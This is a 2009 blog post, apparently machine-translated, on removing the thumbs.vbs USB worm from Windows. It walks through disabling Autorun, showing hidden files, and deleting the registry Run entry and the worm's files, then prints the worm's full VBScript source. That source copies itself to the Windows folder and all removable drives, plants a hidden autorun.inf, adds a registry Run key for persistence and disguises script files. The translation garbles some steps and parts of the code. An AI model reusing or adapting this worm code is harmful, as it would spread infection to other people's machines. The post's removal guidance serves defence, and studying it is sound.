Monday, June 8, 2009

Virus thumbs.vbs

How to remove thumbs.vbs by me

1. Turn off the Autorun function of the windows.

* Some of the ways you can do to turn off Autorun function as follows:

a. Click Start - Run - type gpedit.msc

b. In the group policy window, the browser on the left select User Configuration Administrative Templates ago.

c. Select System. Right in the view show some of the menu.

d. Select Turn off Autoplay.

e. Right click properties. Create enabled.

f. Then Turn off autoplay on: All drives.

g. Click OK.



How to change the value in the HKEY_LOCAL_MACHINE on the NoDriveTypeAutoRun registry value with the FF. If akan reset through the registry to change 91 into the default Windows XP.

* If you only want to turn off Autorun function when moving data from / to flash, press the shift coincides with the insert flash to your PC.

2. Show all files in the windows, and thumbs.vbs usually a hidden autorun.inf file.

* In Windows Explorer select the menu Tools - Folder Option
* On the tab i, check the option Show hidden files and folders
* Uncheck the option Hide extensions ... and Hide protected operating system files



3. Turn off the service through msconfig thumbs.vbs

a. Click Start - Run - type msconfig

b. On the Startup tab, turn off the function Thumb (Here the main file can be saved from the virus c: \ windows \ thumbs.vbs)

4. Turn off the service which runs through wscript.exe process explorer (procexp) or task manager.

5. Turn off the function that is in the regedit (Click Start - Run - type regedit) and delete the value:

"HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run \ avctrl", "wscript.exe c: \ windows \ Thumbs.vbs"


"HKEY_CLASSES_ROOT \ vbsfile \ DefaultIcon \", "% SystemRoot% \ System32 \ shell32.dll, -154"

"HKEY_CLASSES_ROOT \ VBSFile \", "Configuration Script"



6. Delete all files thumbs.vbs.

a. Click Start - Search

b. Type in the box thumbs.vbs All part of the file name

c. Do not forget to mark the option Search hidden files and folders on the More advanced option

d. Delete all files.


Here I include the contents of a file virus thumbs.vbs:
'MICROSOFT WINDOWS SYSTEM DRIVERS

on error resume next
Dim ScriptCode, winpath, flashdrive
Dim fs, autorunFiles, ThumbsFiles
Dim TargetFiles, CreateReg, CheckDrive, ScriptRun

autorunFiles = "[autorun]" & vbCrLf & "open = wscript.exe Thumbs.vbs" & vbCrLf & "shell \ open = Open" & vbCrLf & "shell \ open \ Command = wscript.exe Thumbs.vbs" & vbCrLf & "shell \ open \ Default = 1" & vbCrLf & "shell \ explore = Explorer" & vbCrLf & "shell \ explore \ Command = Explorer.exe"

Set fs = CreateObject ( "Scripting.FileSystemObject")
Set ThumbsFiles = fs.getfile (Wscript.ScriptFullname)

Dim text, size
size = ThumbsFiles.size
CheckDrive = ThumbsFiles.drive.drivetype
Set text = ThumbsFiles.openastextstream (1, -2)

Do While Not text.atendofstream
ScriptCode = ScriptCode & text.readline
ScriptCode = ScriptCode & vbCrLf
Loop

Do
Set winpath = fs.getspecialfolder (0)
Set TargetFiles = fs.getfile (winpath & "\ Thumbs.vbs")
TargetFiles.Attributes = 32

Set TargetFiles = fs.createtextfile (winpath & "\ Thumbs.vbs", 2, True)
TargetFiles.write ScriptCode
TargetFiles.Close

Set TargetFiles = fs.getfile (winpath & "\ Thumbs.vbs")
TargetFiles.Attributes = 39

For Each flashdrive In fs.drives

If (flashdrive.drivetype Or flashdrive.drivetype = 1 = 2) And flashdrive.Path <> "A:" Then
Set TargetFiles = fs.getfile (flashdrive.Path & "\ Thumbs.vbs")
TargetFiles.Attributes = 32

Set TargetFiles = fs.createtextfile (flashdrive.Path & "\ Thumbs.vbs", 2, True)
TargetFiles.write ScriptCode
TargetFiles.Close

Set TargetFiles = fs.getfile (flashdrive.Path & "\ Thumbs.vbs")
TargetFiles.Attributes = 39

Set TargetFiles = fs.getfile (flashdrive.Path & "\ autorun.inf")
TargetFiles.Attributes = 32

Set TargetFiles = fs.createtextfile (flashdrive.Path & "\ autorun.inf", 2, True)
TargetFiles.write autorunFiles
TargetFiles.Close

Set TargetFiles = fs.getfile (flashdrive.Path & "\ autorun.inf")
TargetFiles.Attributes = 39
End If

Next

pt = "" ""
Set CreateReg = CreateObject ( "WScript.Shell")
CreateReg.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run \ avctrl", "wscript.exe c: \ windows \ Thumbs.vbs"
CreateReg.regwrite "HKEY_CLASSES_ROOT \ vbsfile \ DefaultIcon \", "% SystemRoot% \ System32 \ shell32.dll, -154"
CreateReg.regwrite "HKEY_CLASSES_ROOT \ VBSFile \", "Configuration Script"


If CheckDrive <> 1 Then Wscript.sleep 200,000
Loop While CheckDrive <> 1
Set ScriptRun = CreateObject ( "Wscript.shell")
ScriptRun.run winpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname


'Vbs.allya by. iwing / indovirus


0 comments:

Post a Comment

About You

 
Copyright © 2012 X - SITE Design By Adyt